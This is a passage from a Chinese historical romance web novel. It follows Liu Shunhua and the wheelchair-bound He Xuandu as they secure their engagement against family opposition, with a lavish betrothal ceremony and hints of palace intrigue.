贺玄度笑,“现在总算知道我背了多少锅了吧,以后对我好点,等我走了,你可就再也找不到我这样的兄弟了。” 刘九生一听,问道:“你这话什么意思?” 贺玄度推开一线窗,望着远处的天穹,“我已同蓁蓁约好,等处理好身边的事情,便会离开长安,一同回凉州去。” 秋日午后,金风细细,暖阳洒在青石长街上,桥边斜柳万条金黄缕低低垂挂。 柳棠华大病初愈,跟着柳舜华一路逛逛停停,心情大好。 柳舜华前些日子一直郁郁寡欢,柳棠华许久未曾出来逛,拉着柳舜华去了止云斋。 柳舜华对衣饰不太有兴致,只在店内转悠着随便瞧。 突然目光一顿,被一块沉香木给吸引过去。 那沉香木纹路清晰,虽不太细密,并非上品,但胜在精巧,两边翘起,形似一对翅膀,用来雕刻再好不过。 这些时日,她总想着送贺玄度一份礼物。如今看到这块沉香木,突然就有了主意。 “掌柜的,这块沉香木,不知可否出售?” 掌柜的笑嘻嘻走近,“小姐好眼光,这是本店新到的,正准备加上其他香料做成佩囊出售呢。” 柳舜华问:“既是能卖,不知要多少钱?” 掌柜的伸出手来,“十贯。” 柳舜华咋舌道:“掌柜的,这块沉香木并非上品,我是打算拿来雕刻用的,不至于这么贵吧?” 掌柜的笑道:“这位小姐,不是这么算的,我们是打算做成佩囊出售的。如此一来,便能吸引更多人来买这些绸缎,这笔钱也是要算上的。” 柳舜华看着那沉香木,觉得若是放弃,实在觉得有些可惜。心里盘算着,她到底要抵当多少东西才能买得起。 “柳小姐,好巧。” 柳舜华猛然抬头,只见贺玄晖信步走了进来。 他看着掌柜面前的沉香木,笑道:“掌柜的,给柳小姐包起来。” 掌柜的一看是贺玄晖,当即弯腰道:“是是是,不知这位小姐是贵客,实在是怠慢了。” 柳舜华淡声道:“贺大公子,不必了。” 贺玄晖只是一笑,“方才瞧着,柳小姐似乎对那块沉香木很喜欢。佳木难再得,错过了,怕是不好再找了。” 柳舜华嗤笑一声,“佳木?贺大公子怕是看走眼了吧,那就是块寻常的木头,错过了似乎也没什么好可惜的。” 周松正打着哈欠,一眼一瞥,从窗缝中看到楼下的柳舜华。 “公子,公子,是柳小姐。” 贺玄度推开他,朝下一望,果然是柳舜华。 笑容还未展开,便僵在脸上,怎么旁边那个如此碍眼。 贺玄晖背着身,周松与他碰面次数不多,一时没认出,笑道:“这位便是柳小姐兄长吧,看来他们兄妹二人感情颇深,连买锦缎都一起。” 身后传来贺玄度低沉的嗓音,“哪里看出来感情深了?” 周松浑身一个激灵,一股寒气从背后升起。 他又说错话了? 掌柜不知两人谈话,将包好的沉香木递给柳舜华,“柳小姐,原木,您回去可以随意雕刻。” 听掌柜如此说,贺玄晖岔开方才的话,问道:“没想到,柳小姐还有如此雅性。” 他话一出口,柳舜华觉得讽刺极了。 上辈子,她费尽心力为他雕刻竹蜻蜓,被人随手丢弃的淤泥里,说是不堪入目的下三烂玩意。如今,他站在她面前,说她雅致。 柳舜华低头冷笑,“不过是些不入流的手艺罢了,贺大公子此言,倒真是让人羞愧。” 他句句温言,她句句带刺。 贺玄晖衣袖中双手攥紧,骨节泛白。 他不明白,他到底做错了什么?为何柳舜华如此厌他? 眼前又出现了幻影,似乎有什么东西流过,他拼命想抓住。 他竭力克制,缓缓平静下来,“柳……” “兄长,好巧,是陪妉柔郡主一起来的吗?” 听到熟悉的声音,柳舜华惊喜回头。 贺玄度坐在轮椅之上,一身紫袍,佩玉在侧,衣襟轻垂,残缺与张扬融合,有一种说不出的惊心动魄之美。 贺玄晖轻笑,“二弟,腿伤了,眼也不会不好使吗?” 贺玄度朝屋内瞅了一眼,“不好意思,方才瞧着不真切,还以为兄长陪着妉柔郡主一起来的呢,原来是看岔了。” 柳舜华一直在店内,并未瞧见刘妉柔,稍一琢磨,便明白了过来,贺玄度这是吃醋了。 她不明白,这辈子她与贺玄晖不过点头之交,为何贺玄度三番两次要吃他的干醋。 他既想要安全感,那她就给他。 她顺着贺玄度的话,朝贺玄晖福身道:“看来,贺大公子与妉柔郡主好事将近,先恭喜了。” 不等贺玄晖解释,她便转身对着贺玄度,笑靥如花,“接下来,是不是轮到你了?” 第63章 这委屈,我受得住 在柳桓安与柳舜华合力攻势下,柳奉最终松口。 贺玄度闻听此消息,大喜过望,即刻请来祖母正式摊牌。 贺留善听闻他要娶柳家大小姐,想起近日种种,反应过来后,对着贺玄度一顿责骂。 “往日你再纨绔荒唐,我也就忍了。如今你竟是愈加无法无天,都算计到自家头上了。毁了你兄长的婚约,自己顶了上来。” 贺玄度一下下敲击着轮椅边缘,“儿子愚钝,没听明白,柳家何时与兄长订了婚,我竟不知。” 贺留善冷笑,“你这么闹,是铁了心想要家宅不宁了?” 贺玄度:“成家立业,治身齐家。父亲,我不过是定个亲,怎么就家宅不宁了?” 贺留善:“原本以为你断了腿,能安稳几天。没想到一回家便这么折腾,都是谁这么教你的?” 贺玄度抬头,迎上贺留善的目光,“父亲不是最清楚,我有娘生没娘养,天生天养。” 贺留善气得抓起桌上的杯盏,怒骂:“逆子,我怎么生了你这么个孽障。” 老夫人拐杖在地上猛地一敲,“都给我住口,我还没死呢,谁许你当着我的面这么骂宁儿?” 贺留善放下杯盏,气道:“母亲,您瞧瞧,他这像什么样子?” 老夫人瞪了他一眼,“宁儿说错了什么,他不过是定个亲而已,也值得你动这么大肝火?我问你,宁儿与柳家大小姐定亲,到底碍着你什么了?” 程氏眼一转,柔声道:“母亲,您不是不知,前阵子咱们彰儿与柳家大小姐要定亲之事传得沸沸扬扬的,如今这要换成二公子,这……这不是让人看笑话吗?” 老夫人瞥了她一眼,“不是我说你,你办事也太不周全了。事未成前,就应当谨慎些,你倒好,传得人尽皆知。不过好在两家只是通过气而已,也没有定亲,没什么笑话不笑话的。” 贺玄晖在长安颇有盛名,人品贵重,又生得一副温润的好模样,程氏原以为此事轻轻松松,是以才敢大张旗鼓地遣人去柳家说和,谁知那柳家不识好歹,偏生没有应下。 程氏也觉憋闷,“可总归是上过门的,如今这样,岂不是在打相府的脸面?” 老夫人冷声道:“宁儿也是相府的公子,柳家大小姐嫁进来,总归是入了相府,怎么就打了相府的脸面。” 程氏忙道:“母亲,我不是那个意思。只是这事总归不太好,长安这么多姑娘,为何非要盯着一个柳家不放呢?” 老夫人知晓她的心思,她一向引以为傲的儿子,被柳家拒了,转头要嫁给老二,她心中必定不服。 于是道:“你觉得不妥,无非是觉得伤了彰儿的颜面。可依我看,彰儿对柳家大小姐也并不喜欢,以彰儿的人品相貌,比柳家大小姐好千倍万倍的姑娘不愁找不到。” 贺玄晖闻言,心上猛地一紧,缓缓抬起头。 老夫人正对着他道:“彰儿都未曾见过那柳家大小姐,哪来什么感情。他心底怎么想的,你们一个个不会不知,就不要在这乱点鸳鸯谱,白白地招人嫌了。” 程氏一听,老夫人这是铁了心地要撮合贺玄度与柳家大小姐。 那柳家大小姐不识好歹拒了她,嫁不了彰儿就算了,可她偏偏要嫁给贺玄度。老夫人本就偏向贺玄度,如今再加上这个柳大小姐,那他们夫妻将来还不是把老夫人哄得服服帖帖。 不行,绝对不能让她嫁进来。 她不动声色,轻轻碰了一下贺留善的脚。 果然,贺留善开口道:“母亲,今日之事实在太突然,容我缓缓,咱们改日再议吧。” 贺玄度眼一瞥,将两人的动作尽收眼底。 老夫人还想继续开口,却被贺玄度拦着,“祖母,父亲既然想缓缓,做儿子的自然要顺从。定亲之事,是我思虑不周,改日再议吧。” 老夫人院内,茶香袅袅,妙灵在旁替殷勤地添置茶水。 贺玄度饮了一杯,抬头笑道:“好茶,祖母不尝尝。” 老夫人看着他,“方才你为何要打断我,这么点困难便想要退缩,将柳家姑娘舍弃了?” 贺玄度笑道:“祖母这是生气了?” “柳家那姑娘,我一见便喜欢。人好看,心思也通透。能嫁进咱们家给我做孙媳,我这心里不知有多高兴。” 她看着贺玄度的腿,“难得,她不是个浅薄的,能看得上你。这么好的姑娘,错过了,实在可惜。” 贺玄度倒了一杯茶递过去,“祖母,我对蓁蓁之心,海枯石烂不敢变。今日本也没打算让他们松口,不过试探罢了。” 老夫人这才放心,笑道:“你这机灵劲,又回来了,是不是有什么鬼主意?” 贺玄度将杯子放下,“祖母放心,五日之内,事必成。” 望月楼内。 贺玄度还未到,柳舜华叫了一壶好茶,托腮等在窗边。 时值仲秋,远山秋意尽染,江水澄澈,江面上一叶扁舟,舟上渔人正悠然垂钓。偶有飞鸟掠过江面,翅尖划破水波,荡开层层涟漪。 一枝青橘探进雕花窗,沉甸甸地挂着,日光下一个个圆滚滚的,分外喜人。 柳舜华忍不住伸出手点了一下,一串橘子晃晃悠悠,又弹了过来。 如是几次,正玩得不亦乐乎,低头往下一看,贺玄度正转着轮椅进门。 日光透过枝叶洒下,映在他的白衣上一片斑驳,修长的手握在轮椅上,从容有度。 柳舜华笑了一下,掐了一个青橘,朝着他掷去。 贺玄度正欲进门,眸光一闪,猛地抬起一只手,稳稳地接住飞向他的物什。 是一个青皮橘子。 抬眸瞧去,枝叶掩映间,柳舜华正笑着朝他挥手。 她这一笑,明媚又柔美,贺玄度眼中,秋色尽失。 贺玄度被抬着上了楼,转着轮椅过去,“等很久了吧?” 柳舜华摇摇头,看着他的轮椅道:“下次还是约楼下吧,方便。” 贺玄度笑道:“高处视野佳,腿断了后,总想看得远些。” 说罢,掰开手中的青桔递过去,“尝尝。” 柳舜华顺势接下,“你那边可是有好消息了?” 贺玄度笑笑:“父亲对我一向随心所欲,我欲定亲,于他无碍。倒是程氏,似乎对你极看重,一直在反对。” 柳舜华嘴角一撇,前世与程氏相处三载,她的为人她再清楚不过。 她看不上她的出身,当初坚持求娶,除去那些阴差阳错,不过是想借着她争取老夫人的喜欢罢了。 她如实道:“我倒不觉得她是看重我,应是看出当日老夫人待我不一般,有所图罢了。” “总归是你太好,太惹人喜欢。”贺玄度道:“今日来,便是求你一件事。” 柳舜华淡笑一声,“贺二公子有什么高见?” 贺玄度身子往前探了些,拉住她的手,认真道:“恐怕要让你受些委屈,牺牲一下名声。” 柳舜华抬手将一瓣橘子塞进他嘴里,“说吧,我倒要听听什么天大的委屈。” 贺玄度笑道:“需要你买买买。” 柳舜华一听,瞬间了然于胸,原来他是这个打算。 她坐正,拍着胸脯保证,“这委屈,我受得住。” 说完,她想到了什么,问道:“洪声这些日子还去斗鸡场吗?” 贺玄度想起此前在她面前出的丑,摸摸鼻子,“我断了腿,早就不去了,洪声又怎么会去。” 柳舜华摇头,“不,要让他去,频繁地去。” 贺玄度想了想,点头道:“ 对对对,还是蓁蓁思虑周全。” 回到柳府,洪声便送了几盒金饼,并一箱钱过来。 柳棠华打开箱子,看着满满当当的铜钱,双眼放光。 “姐姐,我做梦都没想到,能摸到这么多的钱,我真的可以随便花吗?” 柳舜华大手一挥,“当然,记住,咱们非贵不买。” 接下来几日,柳舜华开始频繁出入一些胭脂绸缎古玩铺,凡看中的,不问价格,统统买了去。 一时间,长安城中各大商铺但凡看到她,立刻供神一样请进门。 柳舜华越买越上瘾,从早到晚不停歇,积攒了两辈子的采买欲得到了空前满足。 孙姨娘跟着沾光,得了不少好东西,迫不及待去隔壁院跑去招摇。 婶母葛氏自是看得眼红,恨得牙痒。 这日,贺容暄没了金花胭脂,等不到铺子人来送,便差人去问。谁知侍女回来,说玉妆铺胭脂已断了货,来不及采买,正欲上门回禀呢。 贺容暄一番询问才知,最新上的金花胭脂全被柳舜华买了去。 隔日闲逛,又去买平日里最喜欢的素纱,一问才知,又被柳舜华买了去。 她本就看柳舜华不顺,如今接连被她坏了兴致,回府后气得找母亲大闹一场。 程氏听得直皱眉,“这个柳大小姐,此前听说品性尚可,怎么如此奢靡无度。” 贺容暄冷笑,“自以为攀上了贺玄度这个高枝,这就装起凤凰来了。” 程氏身边的嬷嬷,与葛氏有些远房亲戚,此前曾在葛氏那里打听消息,插话道:“夫人,此前奴就说,这柳小姐粗鄙不堪,浅薄无知,您还不信。” 贺容暄附和道:“母亲,我早就说过,这柳舜华根本配不上兄长。亏得兄长没同她结亲,不然岂不是家宅不宁。” 嬷嬷点头,“说起这个,奴还听说另一桩事。” 程氏道:“你说。” 嬷嬷低声道:“我那不争气的侄子,此前曾去过西市斗鸡场。他说,曾看到二公子带着个女子出现过。” 贺容暄凑过去,“你是说,这个女子是柳舜华。” 嬷嬷点头道:“正是。” 贺容暄不屑一笑,“我说柳舜华怎么好好地看上了他,原来是物以类聚,臭味相投。” 程氏眼中精光一闪,若柳舜华果如传闻这般不堪,那进府之后,两个草包在一起破罐子破摔,岂不是快事。 贺玄度越纨绔,她的彰儿在相府的地位便越稳。 “看来这柳小姐与二公子,倒也是绝配。” 当天晚上,程氏便在贺留善跟前吹起了枕头风。 先是回顾了一番当年微末之时的不易,又说起这些年在贺家的操劳,引得贺留善感慨万分,拉住她的手,恨不得将那些年的亏欠加倍补上。 程氏话锋一转,说起了贺玄度的亲事,“这些日子,我想了很多。那二公子再怎么纨绔,终究是姓贺。都是一家人,什么面子里子的,若他一心想求娶柳大小姐,不如,就顺了他吧。” 当初贺玄晖与柳家结亲,贺留善除去考虑拉拢柳桓安,更多还是程氏在旁推波助澜,一哭二闹三上吊,非说柳家大小姐如何贤良淑德,端庄有礼。 这些日子,柳桓安的态度,他已知晓。 他就是个纯臣,即便彰儿娶了柳家大小姐,他也未必会站在相府这边。 如今夫人又松了口…… 想到贺玄度的断腿,他一时心软,“那就,随了他吧。” 第64章 第64章蓁蓁,低下头,他声音蛊…… 相府与柳府换过庚帖,请了太史令算日子。 太史令请了三个黄道吉日备选:霜降、冬至,立春。 贺玄度嫌霜降太早,婚礼仓促;立春又太晚,夜长梦多。与柳舜华商议后,定在冬至。 下聘是个大日子,柳舜华又要嫁入相府,柳家亲族一早便齐聚一堂,纷纷前来恭贺。 男人们全在正厅,柳舜华陪着家中女眷在后院寒暄。 一众女眷中,最张扬得意的当属孙姨娘。 她是柳舜华庶母,又是柳棠华的亲娘,柳舜华有心让她有些脸面,将这些日子买的首饰钗环赠了不少给她装点门面。 柳府许久未办喜事,她难得露脸,穿戴齐整,红光满面地周旋其中。 葛氏心内冷笑,往日里孙姨娘都是围着她转,今日倒是显着她了。 忿忿道:“瞧她那样子,不知道的还以为是她亲女儿要飞上枝头变凤凰了呢。” 柳蔓华低声安慰着,“娘,她再得意,也是个姨娘,哪里比得上你。” 柳舜华素日与这些远房亲眷们来往少,只拉着几个相熟的姐妹在旁说笑。 柳舜华大堂婶宋氏有心去奉承,奈何一直寻不到机会,只对着孙姨娘道:“今年先是大公子升迁,转眼大小姐又要嫁入相府,妹妹真是好福气。” 众人跟着附和道:“是啊,当真让人羡慕。” 孙姨娘喜不自胜,抬手摸了摸金玉发簪,“说到底,这都是咱们祖宗保佑,小辈们又争气,我不过跟着沾光罢了。” 葛氏气不过,又不好表露,只跟着笑道:“可惜啊,咱们家芊芊没能寻个好人家,不然岂不是喜上加喜。” 孙姨娘眸光一变,登时有些挂不住脸。 柳舜华听到说到棠华,脸色一黯,蹭地一下站了起来。 柳棠华拉着她的衣角,笑着摇摇头。 宋氏精明,见状忙圆场道:“芊芊还小呢,莫说芊芊了,便是你们家萋萋与我们家蕴儿将来可都要指望着蓁蓁呢。” 葛氏笑道:“是啊,咱们蓁蓁这样貌,便是嫁了相府也是配得上的,只是可惜啊。” 她话语一顿,面露惋惜,“此前,我可听说定的是相府大公子,怎么好端端地就变了人呢?这二公子……” 她没再说下去,言语中的暗示却再明显不过,相府看不上她柳舜华,找了个身患残疾又纨绔的二公子来糊弄。 此前柳舜华欲与相府大公子定亲之事,众人都有所耳闻。前几日听闻相府要来下聘,都还以为是大公子,也是今日方知定亲的换成了二公子。 这二公子人品如何她们深宅内院的不甚清楚,不过,他前些日子摔断腿一事,可是闹得沸沸扬扬。 顺着葛氏的话稍一琢磨,便品出点奥妙来。 相府哪里是看上了柳舜华,不过是用大公子当借口骗了柳家,一开始打的便是让她进门伺候一个瘸子的主意。 一时间,众人看向柳舜华的目光复杂起来,有同情,有不屑,有幸灾乐祸。 柳舜华不觉好笑,葛氏这煽风点火的本领可当真是一绝,上辈子但凡她领悟一点,都不至于在相府混得那么差。 众人正各怀心思,芳草便急急忙忙跑了进来。 “小姐,快,快,出去看啊!” 柳舜华忧心贺玄度,以为是下聘出了什么岔子,忙起身跑此处庭院。 众人紧跟着出了后宅,才到前院,不由都停住了脚步。 院中被聘礼堆放得无处下脚,箱子上红绸如火,红彤彤连成一片。 粗略一扫,约有百余抬。 这样的排场,便是比起皇妃都不遑多让。 柳府管事正在核礼单,众人伸长脖子瞧去,金银珍宝、绸缎彩帛,干果海货,看得眼花缭乱。 一旁高唱:锦缎五百匹,金银茶筒各两具,和田白玉双连环两幅,玛瑙双鱼佩两幅,羊脂玉雕鹿一尊…… 柳棠华惊得瞠目结舌,忍不住道:“姐姐,贺二公子这是把全部家当都搬过来了吧。” 贺玄度此前说过,这些年他虽纨绔了些,却不曾真正去赌,是以攒了一些积蓄,但柳舜华从未想过有这么多。 想到上辈子,丞相夫人有意无意提及贺玄度母亲生前的嫁妆,柳舜华突然明白过来,贺玄度大约的确是将家底掏空给她了。 难怪贺玄度提前说,家中长辈今日大约是不会出席了,他聘礼这个送法,只怕丞相夫人脸都要绿了。 众人还未回过来神,只见门外环佩作响,七八个侍女簇拥着一位银发老夫人走了进来。 柳舜华一见,噙满眼泪,上前行礼,“老夫人,您来了。” 众人忙跟着行礼参拜,老夫人笑得随和,“都起来吧,从今日起,都是自家人了,不需多礼。” 柳舜华扶老夫人去了花厅,一众女眷哗啦啦地跟在后面。 老夫人携着柳舜华的手,拉着她仔仔细细看了个遍,“当日你救下我,我一见你便觉得有缘,如今真是 随了我的意,给我当了孙媳妇。” 柳舜华也深觉姻缘之事甚妙,当日她戴着帷帽,便是不想被认出,继而嫁进相府。如今兜兜转转,竟还是要嫁进相府。 她温声道:“蒙老夫人垂爱,今日亲临,蓁蓁心里不知多欢喜。” 老夫人不想她未嫁便被相府那些事坏了待嫁的心情,安慰道:“我那儿媳今日原本是要来的,只是凑巧身体不适,不好冲了你们的喜事。” 说罢,让侍女将备好的礼拿上来。 礼盒打开,是一枝金玉为底,八鸟九花,缀以宝石珍珠流苏的金步摇,日光下熠熠生辉。 老夫人摩挲着那支步摇,将它转交给柳舜华,“这个是先皇后娘娘的赏赐,宁儿母亲生前最喜欢的饰物。她过世后,宁儿便将它收了起来。前些日子,宁儿突然又给翻了出来,将它擦了又擦,说这支步摇要有主人了。” 柳舜华接过,怔愣地望着,眼泪一下涌了出来。 这支步摇,上辈子她见过。 那年冬日,她去寻贺玄度还书。 幽窗下,贺玄度正对着这支步摇发呆,她不由多看了两眼。 贺玄度一笑,问:“你喜欢?” 她点头,如实道:“好看的东西没人不喜欢。” 谁知贺玄度随手递给她,漫不经心道:“那送你,好东西放着,会变成死的。人戴着,才会是活的。” 那是贺玄度母亲生前之物,他又如此珍视,怎会轻易送人? 如此说来,上辈子的贺玄度,是不是也和她一样,存了一份不该有的妄念…… 上辈子苦苦藏在心间,不敢问,不敢想的问题,在这刻似乎有了模糊的答案。 柳舜华讷讷抬头,“玄度他到了吧?” 老夫人拍着她的手,笑道:“你放心,已经到了。” 柳舜华垂头,脑海中嗡嗡作响。 许久,她听到自己木然的声音,“老夫人见谅,我想去见见贺玄度,就现在。” 正厅内,柳奉正襟危坐,一副泰然自若的模样。 柳桓安一瞥,瞧见他喝茶的手微微颤抖,不由一笑。 今日是他见女婿,该紧张的是贺玄度,也不知父亲紧张什么。 下人已经报过,贺玄度人已过了大门。 片刻,便听轮椅碾压过地面的声音响在石子路上。 柳奉不由抬头。 一袭月白色锦袍扫过地面,衣角随风轻扬。眉目舒朗,双眸幽潭一般,深邃而明亮,皎皎如月。鼻梁挺直,薄唇微微上扬,嘴角噙着一抹若有若无的浅笑,温润而和煦。 柳奉有些懵,传闻贺玄度曾是个纨绔,斗鸡走狗,行事颇有些荒唐。 蓁蓁说要嫁给贺玄度之时,他以为她只是贪玩惯了,想嫁个意气相投,不会约束她之人。 而眼前这个少年,举手投足间,优雅从容,自有一股君子之风。 若不是坐在轮椅之上,柳奉简直以为他就是贺玄晖。 柳桓安也有些发愣,若眼前这样谪仙似的人物是贺玄度,那他前些日子碰到的那个被大鹅追着跑的又是谁? 轮椅进了正厅,贺玄度拱手道:“柳大人,玄度身有不便,让诸位久等了。” 柳奉还在发怔,听到柳桓安咳了一声,才缓过来,笑道:“贺二公子请坐。” 说完,看到贺玄度的腿,一脸尴尬。 贺玄度笑了笑,双手扶住轮椅边缘,稍一用力,人稳稳落在椅子上,“多谢柳大人赐座。” 柳奉看得目瞪口呆,尬笑道:“倒……也不必如此麻烦。” 贺玄度正色道:“诸位都坐着,我怎可失礼,如此,方显郑重。” 柳家众人相视一笑,频频点头,赞道:“所谓谦谦君子,温润如玉当如是啊,贺家好家风。” 柳奉原本还想着贺玄度断了腿,会在亲友面前丢脸,如今听着众人赞叹,不觉喜上几分。 他温言道:“蓁蓁说她婚后想去凉州,二公子当真考虑好了?” 丞相府是什么境况,贺玄晖独占风光,做二公子的媳妇,难免会受委屈,这也是他当初反对的原因。离开长安,虽说他不舍,但只要女儿能幸福,他自然是无话可说。 贺玄度缓声道:“玄度自幼在凉州生活过,能随蓁蓁一起,求之不得。” 柳桓安扫了他一眼,开口道:“你一堂堂相府公子,远去凉州,可会不甘?” 贺玄度看向柳桓安,笑道:“人各有志,兄长志在朝廷,我意在山水。等到了凉州,我会与蓁蓁一起效仿先人,开设杏坛。” 柳桓安眼中泛起一丝亮光,“开设杏坛,倒不失为一个好志向。” 因贺玄度是相府公子,柳家其余人也不敢问得过细,只象征性问了些婚礼筹备事宜,贺玄度不疾不徐,应答如流。 柳奉本对贺玄度没抱太大希望,如今观他言行举止,只觉让人如清风拂面,明月照心,心中对他已是大加肯定。 贺玄度正应酬着众人,眼光一瞥,瞧见月洞门前一抹红色随风舞动。 他摸向腰间,面露难色,“柳大人,实在抱歉。我腰间的彩绦不见了,想是方才进院时松了,被风吹跑了。” 柳奉忙道:“我这就差人去寻。” 贺玄度摇头,“那彩绦是祖母在道观为我所求,嘱咐我不可离身,需虔诚待之。如今丢了,自然要我亲自去寻。” 柳奉点头道:“自然,贺二公子请便,若是需要,我即刻差人去帮忙。” 周松将轮椅抬出正厅,贺玄度道:“你在此等着便好。” 周松不知他在搞什么名堂,就看着转着轮椅,穿过月洞门。 月洞门后,金桂树下,柳舜华红衣委地,昳丽明媚。 日光透过枝叶缝隙,洒在她红裙之上,灼灼似盛放枝头的朱槿。 柳舜华只想远远望一眼,没想到贺玄度竟也抛了众人,过来寻她。 四目相对,柳舜华垂眸一笑,双眼秋水盈盈,缱绻无限。 风摇着枝叶沙沙作响,掩盖了彼此怦怦地心声。 许久,贺玄度弯腰,捡起落在她身上的桂花,摩挲在指尖。 “蓁蓁,低下头。”他的嗓音嘶哑中带着说不尽的诱惑。 柳舜华像被蛊惑了一般,弯腰蹲在他身侧。 贺玄度抬手,将桂花插在她的发间。 柳舜华耳畔落满他灼热的呼吸,脸颊不由发烫,下意识别过脸去,却被他大掌抓住下颌,迫着她与他对视。 下刻,他灼灼似烈焰的目光慢慢逼近,吻了下来。 唇瓣传递来柔软的触感,将柳舜华包裹,似乎所有的血轰然涌进脑中,熟悉的酥麻感席卷全身。 突然,她觉腰间一紧,唇上清浅的感觉变得骤然强烈。他的气息充斥着一切,铺天盖地而来,熊熊的灼热将她几乎燃烧。 她浑身一软,瘫在他腿间,闭上了眼。 金雪簌簌,一地馨香。 第65章 第65章山雨欲来 婚期确定,柳舜华松了一口气,欢欢喜喜安心备婚。 可几家欢喜几家愁,相府夫人程氏却被气得不轻,又不好表现出来,毁了她在丞相面前柔顺和善的模样,憋在屋内生闷气。 贺容暄安慰道:“母亲别气,咱们出了那么多聘礼,柳舜华嫁进来时,总不能不带嫁妆。如今祖母年事已高,府内又是你掌家,到时她还不是任你拿捏。” 程氏听罢,稍稍缓解,扶着额头道:“我是真没想到,那小崽子会那么蠢,竟将他那些家底几乎都交了出去。” 贺容暄笑道:“不然说他们臭味相投呢,只是,照他们那挥霍无度的样子,怕是多少家底都不够。所以,这婚后,自然要由母亲帮忙教导扶持。” 程氏听她这么说,点点头,很快又眉头深锁,“这些日子,真是时运不济。我私下投的那些铺子,亏损得厉害。还有你舅舅,又去赌坊输了几万钱。你堂兄,更是无缘无故断了腿。这一家子上上下下,没有一件让我顺心的事。” 贺容暄眼中闪过一丝不屑,叹声道:“母亲,你就是太惯着舅舅和堂兄们了,他们一个个的有手有脚的,又都有官职在身,竟还要你日日接济。” 程氏一听,不悦道:“曦儿,他们可都是你的亲人,便是我不在了,你也要替我看好他们,记住了。” 贺容暄听得头疼,知道再劝也无用,敷衍道:“知道了,母亲。” 雕花门窗紧闭,室内一片阴冷。 贺玄晖独坐在榻前,手边摆满了空酒坛。 他握紧手中的酒杯,茫然片刻,又给自己倒了一杯。酒坛倾倒,浸透了雪白的衣衫,却浑然不觉。 脑海中那道清寂的身影挥之不去,他垂头,无力瘫在榻边。 他与柳舜华不过几面之缘,可每次一见到她,总是忍不住心绪起伏。 二弟与她定亲尘埃落定之时,他胸口没缘由一阵抽搐,心内像被人挖走一块,空空荡荡。 贺玄度说,这些年他从未争过什么,想要争一争。 可他呢,看似顺风顺水,却不过随波逐流而已。 他是父亲一手培养出来的相府典范,不容有任何差错,连争一争的心思都不能表露。 秋风从窗棂吹入,帷幔晃动,他缓缓抬头,逼迫自己清醒。 便是柳舜华真嫁给他,又能幸福吗? 他比谁都清楚,柳舜华不过是相府拉拢柳桓安的一枚棋子。若是嫁于他,将来柳桓安扶摇直上,柳舜华自然地位稳固。若他一朝失势,柳舜华便是弃子。 这两年,父亲一直默许他与刘妉柔之间的流言蜚语。父亲的心思和用心,他自然明白。 父亲辅政多年,朝堂之上,君臣虽默契和谐,但如今皇帝羽翼渐丰,而朝中多年形成以父亲为核心的局面,却一直维持,难保帝王不会生出忌惮之心。 天威难测,父亲要为相府的后路打算,所以才会一直拉拢皇上看重的柳桓安。 如今朝廷中,相府与平阳王府相互牵制的局面,正是皇帝想要看到的。 父亲想要的,自然不是两败俱伤。从始至终,平阳王府,一直都是父亲费心要拉拢的对象。 若他与柳舜华注定无缘,就此放开,也是一种成全。 他闭上眼,许久又缓缓张开,站起身,推门走了出去。 婚期在冬至,贺玄度想为柳舜华准备一场盛大的婚礼,是以筹备起来依旧略显吃紧。 接连忙了数日,贺玄度终于得空,约了刘九生到层云楼。 刘九生还未到,贺玄度转动着手中的杯盏,漫不经心地朝楼下望去。 这一望,便瞧见日照金柳下的两人。 柳棠华举着一串糖葫芦,张大嘴巴,一口将那红果子咬下。 刘九生手里拿着新买的糕点,笑着望向她,伸手将她嘴边的糖丝给擦掉。 柳棠华对着他笑了笑,将糖葫芦举到他嘴边,“你也尝尝,很甜的。” 刘九生摇头,“给你买的,你吃吧。” 柳棠华不依,“说好的同甘共苦,怎么能我吃着让你看着呢?” 刘九生笑笑,张嘴咬掉一个,甜香弥漫在舌尖,一点点荡在心间。 停了片刻,他看着棠华,认真道:“芊芊,我不想让你吃苦。我想要给你更好的生活,让这世间女子都仰望的生活。” 最后一颗糖葫芦还未放进嘴里,渐渐融化,黏糊糊地淌了她一手,柳棠华心里乱糟糟的。 此前九生已经表露过心意,可她不敢带他去见父母。 父亲还好说,至于母亲,她是断然不会同意的。 还有姐姐,不知何故,她也一直反对她与刘九生来往。 可如今,看到刘九生恨不得将整个大安捧在她面前的认真模样,她的心也跟着融化了。 她叹了一口气,“九生,我不要什么别人仰望的幸福,我只想和你安安稳稳地在一起,你给我点时间。” 刘九生笑笑,“芊芊,你知道的,我会等你。” 两人正说着,突然有什么东西从背后袭来,刘九生眼疾手快一把接过,抬头一瞧,正见层云楼二楼窗口缝隙处绰绰的人影。 送别了柳棠华,刘九生快步上了层云楼。 贺玄度见他过来,笑道:“还以为你一心想着佳人,忘了咱们有约呢?” 刘九生坐下,倒了一杯茶,“我以为你人逢喜事,嘴上会没这么计较,怎么还是这副老样子,小心柳大小姐嫌弃你。” 贺玄度笑,“这个就不劳你操心了,我与蓁蓁,情比金坚。” 刘九生撇嘴道:“是是是,我提前祝你们白头偕老,子孙满堂。” 贺玄度从怀中掏出一封信,“这个是探子传来的情报,千陶坊内,并无任何异样。” 刘九生皱眉,“郑列的消息有假?” 贺玄度摇头,“不会。凉州刺杀一事,他心内比谁都清楚,即便彭城王一时保下郑充性命,待他押解回长安受审斩首后,照样会斩草除根。我怎么说也救了他一命,又答应替他收尸,他应该是信我的。” 刘九生:“能悄无声息躲开暗卫的追查,看来千陶坊里藏着的人,的确有些不同寻常。只是眼下还不能打草惊蛇,让暗卫继续盯着吧。” 贺玄度点头,想了想,“千陶坊这边,迟早会败露,到时彭城王与千机阁相互勾结之事便有了定论。一旦将彭城王拉下马,或可重启当年旧案。” 刘九生攥紧拳头,“你放心,玄度,这一日不会太久。 贺玄度沉默片刻,“若有了证据,以你现在的身份,怕是不好面圣,你可安心将证据交给柳桓安。他素来公正,深受皇上器重,若借此机会一把扳倒彭城王,帮皇上稳固朝局,他定不会推辞。” 刘九生却只是垂头,迟迟未答。 贺玄度觉出他今日有些不寻常,询问道:“九生,你怎么了?” 刘九生缓缓抬起头,“昨夜,我被人带去了一个地方。” 贺玄度心下一紧,问道:“何处?” 刘九生:“皇宫。” 贺玄度吃惊,好半晌才道:“皇上召你?” 刘九生点头,“皇上他,怕时日不多了。” 当今皇上七岁登基,时年不过二十,尚未有子嗣。若他……,那岂不是后继无人。 贺玄度隐隐有种预感,声音不觉沉了下来,“那皇上召你,为何?” 刘九生放下手中的杯盏,“如你所想,皇上他在试探我。” 贺玄度眸色幽深,“九生,你是怎么想的?” 刘九生心上一怔,他是如何想的。 